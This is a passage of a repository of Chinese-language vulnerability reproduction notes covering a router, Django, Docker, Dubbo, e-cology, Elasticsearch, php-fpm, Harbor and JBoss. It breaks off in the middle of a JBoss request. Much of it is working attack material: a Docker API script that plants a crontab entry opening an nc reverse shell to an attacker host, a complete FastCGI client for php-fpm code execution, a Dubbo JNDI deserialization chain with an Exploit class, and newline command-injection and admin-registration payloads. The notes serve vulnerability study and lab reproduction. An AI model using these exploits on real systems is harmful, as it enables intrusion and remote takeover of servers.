32 | Content-Type: application/x-www-form-urlencoded
33 | Content-Length: 108
34 | Connection: close
35 | Referer: http://162.xxx.xxx.60:55555/
36 | Upgrade-Insecure-Requests: 1
37 |
38 | html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0aping%20http://1234.dnslog平台地址
39 | ```
40 |
41 |
42 | 实际上就是一个命令注入,通过换行符(%0a)截断ping命令,然后插入自己想要执行的命令,上面的payload执行了ping命令,用dnslog的方式检测漏洞是否存在
43 |
44 | 效果如下
45 |
46 | 
47 |
48 | 证明漏洞存在
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/assets/admin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/admin.png
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/assets/evil.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/evil.png
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/assets/models.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/models.png
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/assets/normal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/normal.png
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/assets/postgres.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/django/django jsonfield sql注入/assets/postgres.png
--------------------------------------------------------------------------------
/django/django jsonfield sql注入/readme.md:
--------------------------------------------------------------------------------
1 | ### 参考
2 | 本文只做简单的复现,漏洞原理请参见p牛博客
3 | https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
4 |
5 |
6 | ### 复现环境
7 |
8 | django2.2.3
9 |
10 | ### 复现
11 |
12 | 在settings.py中配置好数据库连接,连接到postgresql
13 |
14 | 
15 |
16 | 当然连接数据库之前需要安装postgresql,这些,大家自行解决吧,然后models创建如下
17 |
18 | 
19 |
20 | 创建了models还要记得,执行相应命令,postgresql才会创建相应数据库与表,具体参考:http://www.runoob.com/django/django-model.html
21 |
22 | 然后在admin.py中添加
23 |
24 | `admin.site.register(models.Test)`
25 |
26 | 把我刚刚创建的models给注册到django自带的管理后台中,然后我们就可以到管理后台去操作数据库了
27 |
28 | 
29 |
30 | 现在可以直接在url处输入我们的查询条件,下面是一个正常的查询
31 |
32 | 
33 |
34 | 我们再构造一个恶意的sql查询,例如添加一个单引号
35 |
36 | 
37 |
38 | sql语句报错了,说明此处确存在sql注入问题。
39 |
40 |
--------------------------------------------------------------------------------
/docker/docker未授权访问toRCE/assets/crontab.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/docker/docker未授权访问toRCE/assets/crontab.png
--------------------------------------------------------------------------------
/docker/docker未授权访问toRCE/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/docker/docker未授权访问toRCE/assets/python_poc.png
--------------------------------------------------------------------------------
/docker/docker未授权访问toRCE/readme.md:
--------------------------------------------------------------------------------
1 | ### 复现环境
2 |
3 | 这个环境,就直接去vulhub上面找吧
4 |
5 | ### 利用方法
6 |
7 | 利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
8 |
9 | 下面是来自vulhub的一个简单的python脚本
10 |
11 | ```python
12 |
13 | import docker
14 |
15 | client = docker.DockerClient(base_url='http://your-ip:2375/')
16 | data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
17 | ```
18 |
19 | 上面执行的命令是利用nc反弹shell,我们在写python poc的时候可以执行ping命令,利用dnslog的方式来验证漏洞
20 |
21 | 
22 |
23 |
24 | ### python poc效果
25 |
26 | 再编写python poc时需要注意,docker任务计划表还是有一定延时才能执行命令,所以,我们需要使用time.sleep()等待几秒钟
27 | 
28 |
--------------------------------------------------------------------------------
/dubbo/CVE-2020-1948/assets/calc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/dubbo/CVE-2020-1948/assets/calc.png
--------------------------------------------------------------------------------
/dubbo/CVE-2020-1948/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2020-1948 dubbo反序列化漏洞复现
2 | --
3 |
4 | ### poc
5 |
6 | https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
7 |
8 | ### 影响版本
9 |
10 | - Dubbo 2.7.0 to 2.7.6
11 | - Dubbo 2.6.0 to 2.6.7
12 | - Dubbo all 2.5.x versions (not supported by official team any longer)
13 |
14 | ### 环境搭建
15 |
16 | https://github.com/apache/dubbo-spring-boot-project
17 | 下载 2.7.6 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:
18 |
19 | ```
20 |
21 | com.rometools
22 | rome
23 | 1.7.0
24 |
25 |
26 | ```
27 |
28 | 添加这个是为了手动添加一个漏洞利用gadgets
29 |
30 |
31 | 在`/sample-api/src/main/java/org/apache/dubbo/spring/boot/demo/consumer/DemoService.java`添加一个以Object为参数的远程方法commonTest,如下所示
32 |
33 | ```java
34 | public interface DemoService {
35 |
36 | String sayHello(String name);
37 | String commonTest(Object o) throws IOException;
38 | }
39 | ```
40 |
41 | 上面只是一个接口,还需要在服务提供端实现这个接口并重写commonTest方法,在`/auto-configure-samples/provider-sample/src/main/java/org/apache/dubbo/spring/boot/demo/provider/service/DefaultDemoService.java`中:
42 |
43 | ```java
44 | @Service(version = "1.0.0")
45 | public class DefaultDemoService implements DemoService {
46 |
47 | /**
48 | * The default value of ${dubbo.application.name} is ${spring.application.name}
49 | */
50 | @Value("${dubbo.application.name}")
51 | private String serviceName;
52 |
53 | @Override
54 | public String commonTest(Object o) throws IOException {
55 | return "axin";
56 | }
57 |
58 | @Override
59 | public String sayHello(String name) {
60 | return String.format("[%s] : Hello, %s", serviceName, name);
61 |
62 | }
63 | }
64 | ```
65 |
66 | 接下来就是编写消费端的代码啦,我们直接借用marshalsec.jar生成payload,并利用服务端提供的接口commonTest方法,把payload发送到服务的提供端
67 |
68 | ```java
69 | @EnableAutoConfiguration
70 | public class DubboAutoConfigurationConsumerBootstrap {
71 |
72 | private final Logger logger = LoggerFactory.getLogger(getClass());
73 |
74 | @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
75 | private DemoService demoService;
76 |
77 | private static Object getPayload() throws Exception{
78 | String jndiUrl = "ldap://127.0.0.1:8087/Exploit";
79 | ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
80 | EqualsBean root = new EqualsBean(ToStringBean.class, item);
81 | return JDKUtil.makeMap(root, root);
82 | }
83 | public static void main(String[] args) {
84 | SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
85 | }
86 |
87 | @Bean
88 | public ApplicationRunner runner() throws Exception {
89 | Object o = getPayload();
90 | //return args -> logger.info(demoService.sayHello("mercyblitz"));
91 | return args -> logger.info(demoService.commonTest(o));
92 | }
93 | }
94 | ```
95 |
96 | 先不要着急运行,由于我们使用的是rome.jar中的jndi攻击链,我们还需要启动一个LDAP服务提供端
97 |
98 | `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit 8087`
99 |
100 |
101 | 除此之外,还有恶意代码Exploit.class需要部署到`http://127.0.0.1:8089`,恶意代码如下,请自行编译为class文件
102 |
103 | ```java
104 |
105 | import java.io.BufferedReader;
106 | import java.io.IOException;
107 | import java.io.InputStream;
108 | import java.io.InputStreamReader;
109 | import java.io.Reader;
110 | import javax.print.attribute.standard.PrinterMessageFromOperator;
111 | public class Exploit{
112 | public Exploit() throws IOException,InterruptedException{
113 | String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
114 | final Process process = Runtime.getRuntime().exec(cmd);
115 | printMessage(process.getInputStream());;
116 | printMessage(process.getErrorStream());
117 | int value=process.waitFor();
118 | System.out.println(value);
119 | }
120 |
121 | private static void printMessage(final InputStream input) {
122 | // TODO Auto-generated method stub
123 | new Thread (new Runnable() {
124 | @Override
125 | public void run() {
126 | // TODO Auto-generated method stub
127 | Reader reader =new InputStreamReader(input);
128 | BufferedReader bf = new BufferedReader(reader);
129 | String line = null;
130 | try {
131 | while ((line=bf.readLine())!=null)
132 | {
133 | System.out.println(line);
134 | }
135 | }catch (IOException e){
136 | e.printStackTrace();
137 | }
138 | }
139 | }).start();
140 | }
141 | }
142 |
143 | ```
144 |
145 | 然后在Exploit.class文件同目录下,执行`python -m SimpleHTTPServer 8089`把恶意代码部署到8089端口上,至此我们的前期工作算是做完了
146 |
147 | 接着运行provider端,然后运行consumer端,就可以弹出计算器啦
148 |
149 | 
150 |
151 |
152 |
153 |
154 |
--------------------------------------------------------------------------------
/e-cology(泛微oa系统)/e-cology未授权RCE/assets/local.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/e-cology(泛微oa系统)/e-cology未授权RCE/assets/local.png
--------------------------------------------------------------------------------
/e-cology(泛微oa系统)/e-cology未授权RCE/assets/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/e-cology(泛微oa系统)/e-cology未授权RCE/assets/poc.png
--------------------------------------------------------------------------------
/e-cology(泛微oa系统)/e-cology未授权RCE/readme.md:
--------------------------------------------------------------------------------
1 | ### 原理简述
2 |
3 | 这个漏洞起因是因为使用了beanshell这个组件,并且没有做任何的访问控制。导致可以直接访问beanshell,执行任意命令。
4 |
5 | ### 漏洞复现
6 |
7 | 直接访问`/weaver/bsh.servlet.BshServlet`
8 |
9 | 
10 |
11 | 可以使用exec()执行命令,例如:
12 | `exec("whoami")`
13 |
14 | 记住,是双引号,而且泛微oa应该拦截了一些关键词(exec好像就被拦截了,但是有方法可以绕过)
15 |
16 | ### 漏洞分析
17 |
18 | http://www.liuhaihua.cn/archives/614038.html
19 |
20 | #### 其他
21 |
22 | 其实我再测试这个漏洞之前,先是本地搭建了一个beanshell用于测试的,beanshell官方文档(https://beanshell.github.io/manual/bshmanual.html#Useful_BeanShell_Commands)
23 | 有测试war包下载,搭建好过后其实和真实环境的界面一样,不过没有做关键字拦截,你可以执行任意命令,如下:
24 |
25 | 
26 |
27 |
28 |
29 |
30 | ### python poc
31 |
32 |
33 | ecology_oa_cmd_exec.py(暂不放出)
34 |
--------------------------------------------------------------------------------
/elasticsearch/elasticsearch未授权访问/assets/nodes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/elasticsearch/elasticsearch未授权访问/assets/nodes.png
--------------------------------------------------------------------------------
/elasticsearch/elasticsearch未授权访问/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/elasticsearch/elasticsearch未授权访问/assets/python_poc.png
--------------------------------------------------------------------------------
/elasticsearch/elasticsearch未授权访问/readme.md:
--------------------------------------------------------------------------------
1 | ### 漏洞概述
2 |
3 | Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK 作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据
4 |
5 | ### 利用方法
6 |
7 | 漏洞检测:默认端口9200
8 |
9 | 相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
10 |
11 | http://x.x.x.x:9200/_nodes
12 |
13 | http://x.x.x.x:9200/_river
14 |
15 | 
16 |
17 | ### 防御
18 |
19 | 1、防火墙上设置禁止外网访问 9200 端口。
20 |
21 | 2、使用 Nginx 搭建反向代理,通过配置 Nginx 实现对 Elasticsearch 的认证
22 |
23 | 3、限制IP访问,绑定固定IP
24 |
25 | 4、在config/elasticsearch.yml中为 9200 端口设置认证:
--------------------------------------------------------------------------------
/fpm/php-fpm未授权访问漏洞/assets/res.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/fpm/php-fpm未授权访问漏洞/assets/res.png
--------------------------------------------------------------------------------
/fpm/php-fpm未授权访问漏洞/assets/vulhub.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/fpm/php-fpm未授权访问漏洞/assets/vulhub.png
--------------------------------------------------------------------------------
/fpm/php-fpm未授权访问漏洞/readme.md:
--------------------------------------------------------------------------------
1 | ### 0x01 原理简介
2 | 最近偶然间读到了p神的这篇文章:
3 | https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#nginxiis7
4 |
5 | 文章对fastcgi协议进行了清晰的阐述,并且提出了关于这个协议的攻击手法,其中还提到了一个漏洞,就是php-fpm未授权访问漏洞。一般nginx以及iis在部署php环境是就会使用到fastcgi,大概工作原理就是Web服务器拿到来自客户端的请求时,会把这个请求按照fastcgi协议的要求重新封装,发送到语言后端,封装的信息中就包括客户端请求的是哪个文件,语言解析器在拿到请求过后就会解析相应的php文件,然后再通过fastcgi协议传给Web服务器,Web服务器再返回给客户端。
6 |
7 | 那么,PHP-FPM又是什么东西?
8 |
9 | FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM,而fpm默认是监听在9000端口上的,如果这个端口由于配置不得当直接暴露在公网上,攻击者就可以伪造fastcgi请求数据发送到fpm,然后控制fpm后端解析任何php文件,首先这个php文件的存在,在真实的环境中,我们就需要通过猜测爆破的方式来确定服务端存在的php文件了,不过通常在使用源安装php时,会默认安装一些php文件,例如:`/usr/local/lib/php/PEAR.php`等,我们就可以通过构造恶意fastcgi请求去解析这些文件,但是,有人就会有疑问了,我没事解析这些文件干嘛,又不能执行任意代码,只能执行现有的php文件!其实,php.ini里还有一些比较有趣的配置:`auto_prepend_file和auto_append_file`,这两个配置的意思就是在每个php文件的开始和结尾处添加一段代码,如果我们能够控制这两个配置就可以写入任何代码到服务器上的php文件,而且,php-fpm还真就可以控制这两个配置项,这就涉及到php-fpm的环境变量:`PHP_VALUE和PHP_ADMIN_VALUE`,这两个配置项的具体功能,参考p神博客。
10 |
11 | ```
12 | {
13 | 'GATEWAY_INTERFACE': 'FastCGI/1.0',
14 | 'REQUEST_METHOD': 'GET',
15 | 'SCRIPT_FILENAME': '/var/www/html/index.php',
16 | 'SCRIPT_NAME': '/index.php',
17 | 'QUERY_STRING': '?a=1&b=2',
18 | 'REQUEST_URI': '/index.php?a=1&b=2',
19 | 'DOCUMENT_ROOT': '/var/www/html',
20 | 'SERVER_SOFTWARE': 'php/fcgiclient',
21 | 'REMOTE_ADDR': '127.0.0.1',
22 | 'REMOTE_PORT': '12345',
23 | 'SERVER_ADDR': '127.0.0.1',
24 | 'SERVER_PORT': '80',
25 | 'SERVER_NAME': "localhost",
26 | 'SERVER_PROTOCOL': 'HTTP/1.1'
27 | 'PHP_VALUE': 'auto_prepend_file = php://input',
28 | 'PHP_ADMIN_VALUE': 'allow_url_include = On'
29 | }
30 |
31 | ```
32 |
33 | 这样我们只要我们把想要执行的命令放在body中就可以执行了。
34 |
35 | ### 0x02 复现
36 |
37 | 直接用vulhub搭建环境:
38 | docker-compose up -d启动环境,会自动去docker-hub下载漏洞环境并启动docker,监听在9000端口上
39 |
40 | 
41 |
42 | 然后就需要exp了,exp p神也帮我们写好了(本来看完了p神的协议分析想要自己写一下,发现emmmmm能力欠缺),简直是一条龙服务,贴出来:
43 |
44 | ```php
45 | import socket
46 | import random
47 | import argparse
48 | import sys
49 | from io import BytesIO
50 |
51 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
52 |
53 | PY2 = True if sys.version_info.major == 2 else False
54 |
55 |
56 | def bchr(i):
57 | if PY2:
58 | return force_bytes(chr(i))
59 | else:
60 | return bytes([i])
61 |
62 |
63 | def bord(c):
64 | if isinstance(c, int):
65 | return c
66 | else:
67 | return ord(c)
68 |
69 |
70 | def force_bytes(s):
71 | if isinstance(s, bytes):
72 | return s
73 | else:
74 | return s.encode('utf-8', 'strict')
75 |
76 |
77 | def force_text(s):
78 | if issubclass(type(s), str):
79 | return s
80 | if isinstance(s, bytes):
81 | s = str(s, 'utf-8', 'strict')
82 | else:
83 | s = str(s)
84 | return s
85 |
86 |
87 | class FastCGIClient:
88 | """A Fast-CGI Client for Python"""
89 |
90 | # private
91 | __FCGI_VERSION = 1
92 |
93 | __FCGI_ROLE_RESPONDER = 1
94 | __FCGI_ROLE_AUTHORIZER = 2
95 | __FCGI_ROLE_FILTER = 3
96 |
97 | __FCGI_TYPE_BEGIN = 1
98 | __FCGI_TYPE_ABORT = 2
99 | __FCGI_TYPE_END = 3
100 | __FCGI_TYPE_PARAMS = 4
101 | __FCGI_TYPE_STDIN = 5
102 | __FCGI_TYPE_STDOUT = 6
103 | __FCGI_TYPE_STDERR = 7
104 | __FCGI_TYPE_DATA = 8
105 | __FCGI_TYPE_GETVALUES = 9
106 | __FCGI_TYPE_GETVALUES_RESULT = 10
107 | __FCGI_TYPE_UNKOWNTYPE = 11
108 |
109 | __FCGI_HEADER_SIZE = 8
110 |
111 | # request state
112 | FCGI_STATE_SEND = 1
113 | FCGI_STATE_ERROR = 2
114 | FCGI_STATE_SUCCESS = 3
115 |
116 | def __init__(self, host, port, timeout, keepalive):
117 | self.host = host
118 | self.port = port
119 | self.timeout = timeout
120 | if keepalive:
121 | self.keepalive = 1
122 | else:
123 | self.keepalive = 0
124 | self.sock = None
125 | self.requests = dict()
126 |
127 | def __connect(self):
128 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
129 | self.sock.settimeout(self.timeout)
130 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
131 | # if self.keepalive:
132 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
133 | # else:
134 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
135 | try:
136 | self.sock.connect((self.host, int(self.port)))
137 | except socket.error as msg:
138 | self.sock.close()
139 | self.sock = None
140 | print(repr(msg))
141 | return False
142 | return True
143 |
144 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
145 | length = len(content)
146 | buf = bchr(FastCGIClient.__FCGI_VERSION) \
147 | + bchr(fcgi_type) \
148 | + bchr((requestid >> 8) & 0xFF) \
149 | + bchr(requestid & 0xFF) \
150 | + bchr((length >> 8) & 0xFF) \
151 | + bchr(length & 0xFF) \
152 | + bchr(0) \
153 | + bchr(0) \
154 | + content
155 | return buf
156 |
157 | def __encodeNameValueParams(self, name, value):
158 | nLen = len(name)
159 | vLen = len(value)
160 | record = b''
161 | if nLen < 128:
162 | record += bchr(nLen)
163 | else:
164 | record += bchr((nLen >> 24) | 0x80) \
165 | + bchr((nLen >> 16) & 0xFF) \
166 | + bchr((nLen >> 8) & 0xFF) \
167 | + bchr(nLen & 0xFF)
168 | if vLen < 128:
169 | record += bchr(vLen)
170 | else:
171 | record += bchr((vLen >> 24) | 0x80) \
172 | + bchr((vLen >> 16) & 0xFF) \
173 | + bchr((vLen >> 8) & 0xFF) \
174 | + bchr(vLen & 0xFF)
175 | return record + name + value
176 |
177 | def __decodeFastCGIHeader(self, stream):
178 | header = dict()
179 | header['version'] = bord(stream[0])
180 | header['type'] = bord(stream[1])
181 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
182 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
183 | header['paddingLength'] = bord(stream[6])
184 | header['reserved'] = bord(stream[7])
185 | return header
186 |
187 | def __decodeFastCGIRecord(self, buffer):
188 | header = buffer.read(int(self.__FCGI_HEADER_SIZE))
189 |
190 | if not header:
191 | return False
192 | else:
193 | record = self.__decodeFastCGIHeader(header)
194 | record['content'] = b''
195 |
196 | if 'contentLength' in record.keys():
197 | contentLength = int(record['contentLength'])
198 | record['content'] += buffer.read(contentLength)
199 | if 'paddingLength' in record.keys():
200 | skiped = buffer.read(int(record['paddingLength']))
201 | return record
202 |
203 | def request(self, nameValuePairs={}, post=''):
204 | if not self.__connect():
205 | print('connect failure! please check your fasctcgi-server !!')
206 | return
207 |
208 | requestId = random.randint(1, (1 << 16) - 1)
209 | self.requests[requestId] = dict()
210 | request = b""
211 | beginFCGIRecordContent = bchr(0) \
212 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
213 | + bchr(self.keepalive) \
214 | + bchr(0) * 5
215 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
216 | beginFCGIRecordContent, requestId)
217 | paramsRecord = b''
218 | if nameValuePairs:
219 | for (name, value) in nameValuePairs.items():
220 | name = force_bytes(name)
221 | value = force_bytes(value)
222 | paramsRecord += self.__encodeNameValueParams(name, value)
223 |
224 | if paramsRecord:
225 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
226 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
227 |
228 | if post:
229 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
230 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
231 |
232 | self.sock.send(request)
233 | self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
234 | self.requests[requestId]['response'] = b''
235 | return self.__waitForResponse(requestId)
236 |
237 | def __waitForResponse(self, requestId):
238 | data = b''
239 | while True:
240 | buf = self.sock.recv(512)
241 | if not len(buf):
242 | break
243 | data += buf
244 |
245 | data = BytesIO(data)
246 | while True:
247 | response = self.__decodeFastCGIRecord(data)
248 | if not response:
249 | break
250 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
251 | or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
252 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
253 | self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
254 | if requestId == int(response['requestId']):
255 | self.requests[requestId]['response'] += response['content']
256 | if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
257 | self.requests[requestId]
258 | return self.requests[requestId]['response']
259 |
260 | def __repr__(self):
261 | return "fastcgi connect host:{} port:{}".format(self.host, self.port)
262 |
263 |
264 | if __name__ == '__main__':
265 | parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
266 | parser.add_argument('host', help='Target host, such as 127.0.0.1')
267 | parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
268 | parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
269 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
270 |
271 | args = parser.parse_args()
272 |
273 | client = FastCGIClient(args.host, args.port, 3, 0)
274 | params = dict()
275 | documentRoot = "/"
276 | uri = args.file
277 | content = args.code
278 | params = {
279 | 'GATEWAY_INTERFACE': 'FastCGI/1.0',
280 | 'REQUEST_METHOD': 'POST',
281 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
282 | 'SCRIPT_NAME': uri,
283 | 'QUERY_STRING': '',
284 | 'REQUEST_URI': uri,
285 | 'DOCUMENT_ROOT': documentRoot,
286 | 'SERVER_SOFTWARE': 'php/fcgiclient',
287 | 'REMOTE_ADDR': '127.0.0.1',
288 | 'REMOTE_PORT': '9985',
289 | 'SERVER_ADDR': '127.0.0.1',
290 | 'SERVER_PORT': '80',
291 | 'SERVER_NAME': "localhost",
292 | 'SERVER_PROTOCOL': 'HTTP/1.1',
293 | 'CONTENT_TYPE': 'application/text',
294 | 'CONTENT_LENGTH': "%d" % len(content),
295 | 'PHP_VALUE': 'auto_prepend_file = php://input',
296 | 'PHP_ADMIN_VALUE': 'allow_url_include = On'
297 | }
298 | response = client.request(params, content)
299 | print(force_text(response))
300 | ```
301 | 执行命令:
302 |
303 | `python /opt/vuls/fpm_client.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c ''`
304 |
305 | 
306 |
307 | ### 0x03
308 |
309 | 其实nginx与iis7的解析漏洞就是因为php-fpm导致的,这个解析漏洞就是访问形如:`http://xxxxx/123.jpg/.php`的url就会把123.jpg按照php来解析,所以,如果一个网站可以上传图片,而且存在这个解析漏洞,那么就可以直接getshell了,危害很大!在php里有一个配置选项:`cgi.fix_pathinfo`,这个配置是为了支持pathinfo,pathinfo是什么呢?
310 | 形如:`http://xxx/index.php/test/123`,index.php才是真正的脚本文件,路径后面的都是传给它的参数。
311 |
312 | 所以在开启了fix_pathinfo后,php-fpm在拿到`123.jpg/.php`这个路径后,发现这个文件不存在,就会去掉最后一个`/`后的内容,然后继续解析,直到某个文件存在,然后解析,这就导致了解析漏洞。
313 |
314 | 而且这个漏洞是可以通过ssrf打的,结合gopher协议,可以构造任何tcp包,就可以攻击内网脆弱的php-fpm。参考:
315 |
316 | https://0verwatch.top/Gopher-fastcgi.html
317 |
318 | 长亭:https://blog.chaitin.cn/gopher-attack-surfaces/
319 |
320 |
321 | 这位表哥提到的用nc抓包的方式,我之前从来没想过,都是用wireshark抓,但是他这里用nc抓包真的挺方便的。
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/assets/index.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/index.png
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/assets/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/poc.png
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/assets/result.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/result.png
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/assets/users.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/users.png
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/assets/屏幕截图.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/harbor/harbor任意管理员注册(cve-2019-1609)/assets/屏幕截图.png
--------------------------------------------------------------------------------
/harbor/harbor任意管理员注册(cve-2019-1609)/readme.md:
--------------------------------------------------------------------------------
1 | ### 漏洞简介
2 |
3 | 因注册模块对参数校验不严格,可导致任意管理员注册。
4 | - 危及版本: Harbor 1.7.6之前版本 Harbor 1.8.3之前版本
5 |
6 | Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若开放注册功能,攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计;可以删除或污染所有镜像。
7 |
8 | ### 漏洞利用
9 |
10 | 
11 |
12 | 在登录页面点击注册账号,然后随意注册一个账号,抓包,在发送的jons数据最后添加:
13 |
14 | `"has_admin_role":true`
15 |
16 | 
17 |
18 |
19 | 我们用这个账号尝试登录
20 |
21 | 
22 |
23 | 我刚刚添加的123用户也是管理员权限,tntaxin也就是登录的这个账户也是管理员权限
24 |
25 | 
--------------------------------------------------------------------------------
/jboss/cve-2007-1036/assets/burp_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2007-1036/assets/burp_poc.png
--------------------------------------------------------------------------------
/jboss/cve-2007-1036/assets/pocsuite3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/jboss/cve-2007-1036/assets/pocsuite3.png
--------------------------------------------------------------------------------
/jboss/cve-2007-1036/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2007-1036
2 | --
3 |
4 | ### 复现环境
5 | jdk 1.8
6 | jboss 4.2.0
7 |
8 | ### 复现方法
9 |
10 | ```
11 | POST /jmx-console/HtmlAdaptor HTTP/1.1
12 | Host: 127.0.0.1:8080
13 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
14 | Accept-Encoding: gzip, deflate
15 | Accept: */*
16 | Connection: close
17 | Content-Length: 150
18 | Content-Type: application/x-www-form-urlencoded
19 |
